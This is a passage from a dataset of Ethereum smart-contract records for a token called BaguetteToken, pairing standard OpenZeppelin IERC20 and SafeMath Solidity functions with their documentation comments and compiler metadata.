*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
536,
618
]
} | 11,251 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
897,
985
]
} | 11,252 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1649,
1728
]
} | 11,253 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2041,
2143
]
} | 11,254 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
259,
445
]
} | 11,255 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
723,
864
]
} | 11,256 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1162,
1359
]
} | 11,257 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1613,
2089
]
} | 11,258 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2560,
2697
]
} | 11,259 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
